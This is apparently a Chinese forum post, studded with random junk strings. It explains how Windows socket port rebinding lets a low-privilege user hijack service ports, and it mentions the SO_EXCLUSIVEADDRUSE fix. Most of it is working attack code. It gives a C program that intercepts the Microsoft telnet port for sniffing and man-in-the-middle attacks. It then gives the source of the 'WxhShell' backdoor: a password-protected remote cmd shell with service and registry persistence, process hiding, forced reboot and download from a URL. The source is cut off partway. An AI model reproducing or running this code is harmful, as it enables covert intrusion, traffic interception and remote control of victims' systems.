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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 38<~R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G[y&`Qc)G K90D1sD saddr.sin_family = AF_INET; *1R##9\jU7 ~>.awu+o| saddr.sin_addr.s_addr = htonl(INADDR_ANY); neK*jdaP gD,A9a(3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \\y}DNh 3KDu!w@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >t2]Ssi( {6-;P#Q0_ 这意味着什么?意味着可以进行如下的攻击: |+>%o.M&i ^u= PdBY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zsHG=Ee* M}R@ K;%
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8+=p8e~An yY-FL`- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 []^PJ fmatc#G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 WT;.>F u Eu6f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X}_QZO=z 8}ii3P y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p)K9ZI D!81(}p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v$qpcu#o bM*Pcxv #include G~Sy&XJuq #include aOaF&6'j #include N02zPC
8 #include %ZJ),9+ DWORD WINAPI ClientThread(LPVOID lpParam); ';i"?D?NAk int main() \=HfO?$ Ro { @1/Q WORD wVersionRequested; $71i+h]_ DWORD ret; zpBBnlq WSADATA wsaData; 0+$hkd n BOOL val; 2&zn^\%" SOCKADDR_IN saddr; & y#y>([~ SOCKADDR_IN scaddr; 9_g>BI;"8 int err; dqIZ#;:g SOCKET s; D}=/w+ SOCKET sc; |JirBz int caddsize; j+z' HANDLE mt; AAeQ- nbP DWORD tid; Dx p> wVersionRequested = MAKEWORD( 2, 2 ); }rFsU\]:q err = WSAStartup( wVersionRequested, &wsaData ); i{%z if ( err != 0 ) { ?,A}E|jZ printf("error!WSAStartup failed!\n"); kKFuTem_3 return -1; )Tyky%P+iI } 6Cop#kW# saddr.sin_family = AF_INET; n"K {uj)) ;'b!7sMO~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hfl%r9o 5`OK- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;EE{~ saddr.sin_port = htons(23); |SSfG~r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jQH5$ { =B3!jir printf("error!socket failed!\n"); FFD*e-i return -1; GU;TK'Yy? } uFA|rX val = TRUE; *il]$i //SO_REUSEADDR选项就是可以实现端口重绑定的 0ECO/EuCg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ovo? lE-a0 { H4,.H,PZ printf("error!setsockopt failed!\n"); A?6{ return -1; / h2*$ } 2@=cqD7x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <;TP@-a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;XKo44% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pqGf@24c< c_D,MW\IC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oHc-0$eMKY { ,=q7}5o Y ret=GetLastError(); 5 b#"
G" printf("error!bind failed!\n"); a!hI${Xn return -1; =/ !{<^0 } \\E_W9.u listen(s,2); 8CN7+V while(1) V29S* { eNlF2M caddsize = sizeof(scaddr); q7)]cY_ //接受连接请求 cLN[o8ZU sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h0Sy']3m if(sc!=INVALID_SOCKET) &K}(A{ { >%jEo'0;_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); taD T;t if(mt==NULL) $2 +$,: { &t9XK 8S printf("Thread Creat Failed!\n"); / ut~jf` break; UG^?a } *x#&[> } /pSUn"3 CloseHandle(mt); /v|68x6 } ba:mO$ closesocket(s); %0y3 /W WSACleanup(); 709Uv5 return 0; ,h5-rw' } JQ{zWJlt DWORD WINAPI ClientThread(LPVOID lpParam) Hc_hO { U{za m SOCKET ss = (SOCKET)lpParam; `Q(]AGI2 SOCKET sc; twJ|Jmd unsigned char buf[4096]; >X\s[d&( SOCKADDR_IN saddr; .9[8H:Fe long num; xTksF?u) DWORD val; t3yQ/ DWORD ret; 8wH41v67F //如果是隐藏端口应用的话,可以在此处加一些判断 `pv89aO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 mw4'z,1Q saddr.sin_family = AF_INET; tl,x@['p` saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &d|VH y+ saddr.sin_port = htons(23); )T$fk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bTo@gJkn { 0D]Yz`n3 printf("error!socket failed!\n"); !Sy'Z6%f return -1; YCLD!S/? } ;&t1FH#= val = 100; _]PfeCn:j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YVg}q#
{ Dry;$C}P ret = GetLastError(); Oa_o"p<Lr return -1; -<}>YtB
Q } G+QNg.pH if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CrwcYzrRWl { ]`i@~Z h\ ret = GetLastError(); 2'UFHiK return -1; @D=2Er\ } Gad2EEZ%0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [&O:qaD^ { b1['uJF printf("error!socket connect failed!\n"); Ow .)h(y/ closesocket(sc); r#6l?+W ; closesocket(ss); >-tH&X^ return -1; ]Buk9LTe } *l'$pJ X while(1) /cg]wG!n8 { HTtGpTsF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v BeU //如果是嗅探内容的话,可以再此处进行内容分析和记录 C$re$9U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f29HQhXqS num = recv(ss,buf,4096,0); as\K(c9 if(num>0) J ]l@ r send(sc,buf,num,0); 52C-D+zCJ else if(num==0) x#e\H
F break; rEpKX num = recv(sc,buf,4096,0); \qd)l if(num>0) pi l*/&pB send(ss,buf,num,0); Tdmo'"m8z_ else if(num==0) ,%b1 ]zZQ break; r|H!s, } 3TvhOC>yG closesocket(ss); Fi3(glgd- closesocket(sc); [sO<6?LY return 0 ; VL!kX``^F } {msB+n~WZ "a`0w9Mm} ?[4khQt ========================================================== =iN_Ug+ vJjj+: 下边附上一个代码,,WXhSHELL MzW$Sl&: nKa;FaJ ========================================================== bHH}x"d[x !.GY~f<d$ #include "stdafx.h" Q,qylL ]H9HO2wGQ #include <stdio.h> =smY/q^3 #include <string.h> aFc'_FrQ #include <windows.h> D~ `YRbv #include <winsock2.h> 6;c{~$s~[ #include <winsvc.h> }d*sWSPu( #include <urlmon.h> *[5#g3 2Lu{@* #pragma comment (lib, "Ws2_32.lib") _<~Vxz9 #pragma comment (lib, "urlmon.lib") w.F3o4YP u'n%BVt
#define MAX_USER 100 // 最大客户端连接数 xXh]z| #define BUF_SOCK 200 // sock buffer q\pc2Lh?^ #define KEY_BUFF 255 // 输入 buffer 4hr+GO@o( l0bT_?LhK #define REBOOT 0 // 重启 cXEy>U|/ #define SHUTDOWN 1 // 关机 (L DmpJzHj| #define DEF_PORT 5000 // 监听端口 ]8cX#N,M +CHO0n #define REG_LEN 16 // 注册表键长度 F-OZIo #define SVC_LEN 80 // NT服务名长度 3&d+U)E e5\1k#@
// 从dll定义API #Q)w$WR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M@z/gy^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |;1:$E" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l:C0:m% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }8KL]11b {1&,6kJF&9 // wxhshell配置信息 a}]@o" struct WSCFG { YG+Yb{^" int ws_port; // 监听端口 kK6>>lD' char ws_passstr[REG_LEN]; // 口令 qhGhUyNX int ws_autoins; // 安装标记, 1=yes 0=no ~,4Znuin char ws_regname[REG_LEN]; // 注册表键名 =]k_Oq-1h char ws_svcname[REG_LEN]; // 服务名 Rl!WH%;c[X char ws_svcdisp[SVC_LEN]; // 服务显示名 x,*t/nzR char ws_svcdesc[SVC_LEN]; // 服务描述信息 .4)P=* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %;B'>$O int ws_downexe; // 下载执行标记, 1=yes 0=no !g:G{b char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ?\$/#zak char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Nc!8'@ VrL>0d&d }; g/Nj|:3 p2?+[d // default Wxhshell configuration /r{5Lyk* struct WSCFG wscfg={DEF_PORT, uUB%I 8 "xuhuanlingzhe", 83(P_Y: 1, !8M'ms>s= "Wxhshell", 'WgwLE_ "Wxhshell", o|im "WxhShell Service", *iN]#)3> "Wrsky Windows CmdShell Service", t/BiZo|zl "Please Input Your Password: ", I:7,CV 1, -~aEqj#? " http://www.wrsky.com/wxhshell.exe", juZ3"" "Wxhshell.exe" ~PvzUT-^ }; `d;izQ1_= .Bn2;nO // 消息定义模块 EqU[mqeF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'bO? =+c char *msg_ws_prompt="\n\r? for help\n\r#>"; cuk}VZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @Oay$gP{T char *msg_ws_ext="\n\rExit."; laJ%fBWmbi char *msg_ws_end="\n\rQuit."; } dlNMW char *msg_ws_boot="\n\rReboot..."; ?uBC{KQ}Y char *msg_ws_poff="\n\rShutdown..."; /Bu5kBC char *msg_ws_down="\n\rSave to "; };sm8P{M ~"B[6^sW char *msg_ws_err="\n\rErr!"; dgD%I char *msg_ws_ok="\n\rOK!";
';V+~pi 3c6) char ExeFile[MAX_PATH]; LJ#P- `!{& int nUser = 0; e-meUf9 HANDLE handles[MAX_USER]; ];]EK6dzG int OsIsNt; ![n`n(oN FaM~ 56Pa SERVICE_STATUS serviceStatus; mMWNUkDq SERVICE_STATUS_HANDLE hServiceStatusHandle; ]bSt[ o~>go_Y // 函数声明 \F3t&: int Install(void); d)sl)qt}0 int Uninstall(void); ;VBfzFH int DownloadFile(char *sURL, SOCKET wsh); ,DZLEsFM int Boot(int flag); bGa":|}F void HideProc(void); E6)mBAE int GetOsVer(void); VlNzm int Wxhshell(SOCKET wsl); Sw)ftC~d void TalkWithClient(void *cs); A*i_-;W) int CmdShell(SOCKET sock); FZ/&[;E! int StartFromService(void); ;OyM~T gI int StartWxhshell(LPSTR lpCmdLine); sva$@y7b \2b9A'd> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uij$
eBN VOID WINAPI NTServiceHandler( DWORD fdwControl ); K`<P^XJr Cu7iHh Y5 // 数据结构和表定义 5xKR
]u SERVICE_TABLE_ENTRY DispatchTable[] = Yl=
|P` { B9-=.2.WU {wscfg.ws_svcname, NTServiceMain}, s[bKGn@ {NULL, NULL} 9]\vw }; 5+Ut]AL5 n|6yz[N // 自我安装 K.7gd1I int Install(void) u] b6> { ;_t on?bF char svExeFile[MAX_PATH]; XrF9*>ti? HKEY key; P.7B]&T6 strcpy(svExeFile,ExeFile); ,{at?y* jd*H$BU^ // 如果是win9x系统,修改注册表设为自启动 i[n1}E.@ if(!OsIsNt) { tDkqwF), if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `#bcoK5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >6q@Tr RegCloseKey(key); j>23QPG`6U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KS_d5NvYl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q0-~&e_' RegCloseKey(key); w6 .HvH-@? return 0; JTJ4a8DE } mt'#j"mU } hSH-Ck@Qy } 'fsOKx4Z else { L|?tcic %Et]w // 如果是NT以上系统,安装为系统服务 yAe}O#dy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'l;|t"R12 if (schSCManager!=0) @pz2}Hd| { * UC^&5: SC_HANDLE schService = CreateService m|[Hhw=f ( |/$#G0X;H schSCManager, 3u<2~!sR wscfg.ws_svcname, cs)hq4-L` wscfg.ws_svcdisp, 2]wh1) SERVICE_ALL_ACCESS, ]&>)=b!, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #96a7K SERVICE_AUTO_START, Y*f<\z(4 SERVICE_ERROR_NORMAL, 40XI\yE_? svExeFile, S;~_9i]upe NULL, F(r&:3!97 NULL, C&gJP7 UF NULL, XJ+sm^`vOf NULL, P+a&R<Dj4 NULL RB2u1]l ); e{=$4F if (schService!=0) o~B=[ { "( xu CloseServiceHandle(schService); s~CA
@ CloseServiceHandle(schSCManager); 0OXd* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wSDDejg strcat(svExeFile,wscfg.ws_svcname); E
J1:N*BA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *KAuyJr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rxA<\h,A RegCloseKey(key); .:}\Z27-c return 0; nYY U } j#,O,\ } _"=~aMXC.) CloseServiceHandle(schSCManager); "$_ypgRrSR } 1mqFnVkf&+ } b,wO^07-3^ [B
Al return 1; $8)/4P?OL } O{PRK5 ^h gTT-7 // 自我卸载 53A=Ogk8S int Uninstall(void) (,>`\\ { bc-"If Z& HKEY key; _"n4SXhq |Cm}%sgR\0 if(!OsIsNt) { (@zn[Nq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %{Gqhb=u\ RegDeleteValue(key,wscfg.ws_regname); 5"+* c@L RegCloseKey(key); a%kj)ah if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !jm
a -- RegDeleteValue(key,wscfg.ws_regname); G>b1No3%k RegCloseKey(key); 8}&cE#@ return 0; eF9LZ"-s } O`eNuQSv } v-o/zud]] } B(~D*H2T[ else { 9I9)5`d|Jn .|K5b]na SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :}lE@Y,R if (schSCManager!=0) q:(K^ { lWR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v'uQ'CiH if (schService!=0) IKt9=Tx { D~<GVp5T if(DeleteService(schService)!=0) { fN9hBC@ CloseServiceHandle(schService); ^U1;5+2G+~ CloseServiceHandle(schSCManager); shD$,!
k return 0; |Z<adOg } *+G K?Ga CloseServiceHandle(schService); V}( "8L } S9.jc@#.` CloseServiceHandle(schSCManager); 7W*OyH^ } (L\tp>
E- } S"dQ@r9 $ 8s&=OW return 1; oq|K:<l } -Bc.<pFqp *oF{ R^ // 从指定url下载文件 8/=2N int DownloadFile(char *sURL, SOCKET wsh) +1rJ ;G { 8w\&QX HRESULT hr; 4P.ry|2 char seps[]= "/"; Sdn]
f4 char *token; ."2V:;; char *file; .]"
o-(gB char myURL[MAX_PATH]; )}EwEM char myFILE[MAX_PATH]; |1neCP@ng E^rN) strcpy(myURL,sURL); zw0p} token=strtok(myURL,seps); ka (xU#; while(token!=NULL) 3cnsJV] { Y{jhT^tKK file=token; N.fIg token=strtok(NULL,seps); uaS?y1:c } KS%,N _F< DP?gozm GetCurrentDirectory(MAX_PATH,myFILE); ^t| %!r
G strcat(myFILE, "\\"); cD 1p5U strcat(myFILE, file); $HaM,
Oh;i send(wsh,myFILE,strlen(myFILE),0);
z\\MLyS send(wsh,"...",3,0); b_B4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L
U7. if(hr==S_OK) (*p |Kzu return 0; hfY2pG9N else
! _QU- return 1; y(%6?a @ P\Ka'i } =lzjMRX(? a^CIJ.P2 // 系统电源模块 J[^-k!9M int Boot(int flag) vnKUD| { (h
E^<jNR HANDLE hToken; v"^G9u TOKEN_PRIVILEGES tkp; #e=[W)) p}h)WjC if(OsIsNt) { :/u
EPki OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #jnb6v=5v LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cc@y tkp.PrivilegeCount = 1; 5-MI7I@l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bkV_ ^8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z 6p.{M if(flag==REBOOT) { Tfj%Sb,zM
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5YRa2#d return 0; AH ;h#dT } PJ);d>tz else { V
]Z{0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gI[xOK# return 0; q$\KE4v" } 7r:!HmRl } Zb@PwH4 else { Mq-;sPsFP if(flag==REBOOT) { -c Mqq$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Obbjl@]
return 0; \h :$q E7 } UF?qL1w else { m'Ran3rp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "wdC/ return 0; 6<gh:vj } zh7NXTzyf } Ty7xjIs ^W;\faG return 1; _/hWzj=q } W<\KRF$S; -_B*~M/vV` // win9x进程隐藏模块 &kh-2#E void HideProc(void) <"6}C)G { caS5>wk`R oPl^tzO HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U4Il1|
M& if ( hKernel != NULL ) :Oxrw5`= { h(ZZ7(ue pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "1Vuf<?C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \:8
>@Q FreeLibrary(hKernel); m#ID%[hg$ } $vx]\`
^ L~>pSP^a return; wgY:W:y'N } (V#5Cs,o:
ym^ // 获取操作系统版本 4/cUd=>Z int GetOsVer(void) 6,| !zaeS { yoQ}m/Cj OSVERSIONINFO winfo; %qNT<>c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Db@$' GetVersionEx(&winfo); kyMWO*>| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \s<L2uRj return 1; T=%,^ else 4 1q|R[js! return 0; Y$ZZ0m } 4~4D1 bs/Vn'CE // 客户端句柄模块 (/JiOg^cw int Wxhshell(SOCKET wsl) uS;N&6;: { M$
CnaH SOCKET wsh; zr2oU '+ struct sockaddr_in client; yCpU173V DWORD myID; wX[g\,?}' 'b~,/lZd while(nUser<MAX_USER) DJR_"8 { |U)M.\h int nSize=sizeof(client); 8(]*J8/wt wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D5^wT>3> if(wsh==INVALID_SOCKET) return 1; _e:c
22T' gA D, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &]tZ6 if(handles[nUser]==0) 0w)Gb}o$ closesocket(wsh); '>4H#tu else "2# #Fcu= nUser++; Jpm=V*P }
Mh3Tfp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sN"<baZ QY|Rz(;m return 0; hT go } 3RJsH:u8 `)?N7g[\u // 关闭 socket 0o7*5| T4 void CloseIt(SOCKET wsh) /fv;`?~d* { #TS:|= closesocket(wsh); \SKobO?qI nUser--; @L0xU??"| ExitThread(0); ZOw%Fw4B } *3
8
u ~n *MC+i$ // 客户端请求句柄 #g=7fu{n: void TalkWithClient(void *cs) wwaw|$ { h9RL(Kq{ :J6 xYy$ SOCKET wsh=(SOCKET)cs; P.aN4 9`= char pwd[SVC_LEN]; maTQ0GX char cmd[KEY_BUFF]; >\[/e{Q" char chr[1]; ;S0Kf{DN2 int i,j; JCFiKt9n ^pwT8Bp while (nUser < MAX_USER) { 2fN2!OT P8[rp if(wscfg.ws_passstr) { Sq:,6bcG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6--t6>5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \w#)uYK{i_ //ZeroMemory(pwd,KEY_BUFF); G{CKb{ i=0; TsVU^Z%W while(i<SVC_LEN) { ?te~[_oT ~
kwS` // 设置超时 }iIZA>eF fd_set FdRead; C2
4"H|D struct timeval TimeOut; 'Y2ImSWj FD_ZERO(&FdRead); i/|}#yw8A FD_SET(wsh,&FdRead); !{q_Q ! TimeOut.tv_sec=8; z_f^L %J0 TimeOut.tv_usec=0; D| |)H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FdGnNDl*e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?mwa6] &$yxAqdab if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7D&O5Z=%+ pwd =chr[0]; ;x.5_Xw{. if(chr[0]==0xd || chr[0]==0xa) { 3FY87R pwd=0; V9Pw\K!w#\ break; 2:oAS } y=!7PB_\| i++; %\^VxM } 0hg4y e1Q
// 如果是非法用户,关闭 socket %-fQ[@5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L.2!Q3& } ^|%u%UR r(j :C%?}C send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;W{2\ Es send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?)R}\\ hh!4DHv while(1) { <c% O\F$~YQ ZeroMemory(cmd,KEY_BUFF); g o9tvK C <Pd_& // 自动支持客户端 telnet标准 #$X _,+<HZ j=0; 1 HY
K&
', while(j<KEY_BUFF) { 9+#BU$*v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Z%-&)F cmd[j]=chr[0]; xL [3R
if(chr[0]==0xa || chr[0]==0xd) { ;F|8#! ( cmd[j]=0; AO]k*N,N break; w?V;ItcL } Fe1XczB j++; !?)aZ |r } I;Pd}A_}=_ yXQ 28A // 下载文件 ZZM;%i-B if(strstr(cmd,"http://")) { +;T\:'CU send(wsh,msg_ws_down,strlen(msg_ws_down),0); )=nB32~J" if(DownloadFile(cmd,wsh)) b$q~(Z} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZ>F ^t else %6\L^RP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4&AGVplgF } >-,$ else { {4 {X`$ MbxJ3"@ switch(cmd[0]) { $px1D$F ! _Un*x5u2O // 帮助 ?f= ~Pn+ case '?': { CC)Mws+2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VpX*l3 break; j^.|^q<Y } ''($E/ // 安装 xwub-yz case 'i': { yMEI^,0" if(Install()) :}-VLp4b send(wsh,msg_ws_err,strlen(msg_ws_err),0); rn]F97v@] else b#-=Dbe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?)g [Xc;K break; iUbcvF3aP } iD.p KG // 卸载 cx[[K. case 'r': { i0u`J if(Uninstall()) RdB,;Um9f send(wsh,msg_ws_err,strlen(msg_ws_err),0); `(r0+Qx else 8=)9ZjfD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _\<TjGtG break; =om<* \vsO } +&r=XJ5:`p // 显示 wxhshell 所在路径 9*P-k.Bl case 'p': { WDI3* char svExeFile[MAX_PATH]; FqZD'Uu7 strcpy(svExeFile,"\n\r"); ~l('ly strcat(svExeFile,ExeFile); ~7gFddi=i send(wsh,svExeFile,strlen(svExeFile),0); X4L@|"ZI break; \0K&2' } M< H+$}[ // 重启 'U,\5jj'Y case 'b': { \!"3yd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F$ckW'V if(Boot(REBOOT)) NtmmPJ|5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); qOAP_\@T else { =QIu3%& closesocket(wsh); *x_e] /} ExitThread(0); )X3
|[4R } V@+X4`T break; h1y3gl[;TD } {mY=LaS< // 关机 LVy`U07C V case 'd': { eM]>" send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fr-Vq=j& if(Boot(SHUTDOWN)) H
vHy{S4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]F"P3': else { He%v 4S closesocket(wsh); >3,}^`l ExitThread(0); @YVla!5O@ } (G~M E> break; _C=01 %/ } _88X-~. // 获取shell zDBm^ s case 's': { --k!KrL CmdShell(wsh); :Dfl ,=S closesocket(wsh); x_9#:_S' ExitThread(0); lt yhYPS break; s)Xz}QPK. } ']d(m? // 退出 o=-Af|#b case 'x': { 2*V]jO send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5~$WSL?O) CloseIt(wsh); HIUP
=/x break; zCv)%y } (1[Z#y[ // 离开 lR/Uboyy case 'q': { XtE O ) send(wsh,msg_ws_end,strlen(msg_ws_end),0); {b-SK5%]L closesocket(wsh); nkz<t WSACleanup(); aU/y>Y <k exit(1); B 74 break; MShcZtN } !=HxL-`j } P~V ^Efz{ } J\N&u# Od~e*gA8 // 提示信息 *q;83\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WR u/7$8 } ^Nt^.xi7 } w4R~0jXy ti 3S'K0t return; }S4+1
U3 } %L$?Mey 8w#4T:hsuN // shell模块句柄 7#N
?{3i int CmdShell(SOCKET sock) o?+?@Xb' { DHbS=Iih STARTUPINFO si; n<F3&2w ZeroMemory(&si,sizeof(si)); ItVVI"- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p<&>1}j= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y/LS(b* PROCESS_INFORMATION ProcessInfo; "Bz#5kqnl char cmdline[]="cmd"; 4sfq,shRq CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Pb1.X9*8c return 0; EztuVe } k2.\1}\ C>F5=& // 自身启动模式 1(Z+n,Hh int StartFromService(void) F=PBEaX { We*uZ?+ typedef struct $@w,9J\ { ^E)8Sb9t DWORD ExitStatus; Galh _;= DWORD PebBaseAddress; m|;gl|dTB DWORD AffinityMask; m8eoD{ DWORD BasePriority; y3bL\d1 ULONG UniqueProcessId; o5YL_=7m ULONG InheritedFromUniqueProcessId; ||fCY+x*8 } PROCESS_BASIC_INFORMATION; Zqv yTNHM_P PROCNTQSIP NtQueryInformationProcess; IsVR4t] YS<KyTb" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }9 N-2] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W"\+jHF" of > HANDLE hProcess; =L;g:hc< PROCESS_BASIC_INFORMATION pbi; eT?vZH[N `uqe[u;`6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k^#*x2b if(NULL == hInst ) return 0; 4^9qs%& >wR)p\UEb g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s7\Ee-x)s g_pGetModuleBaseName = 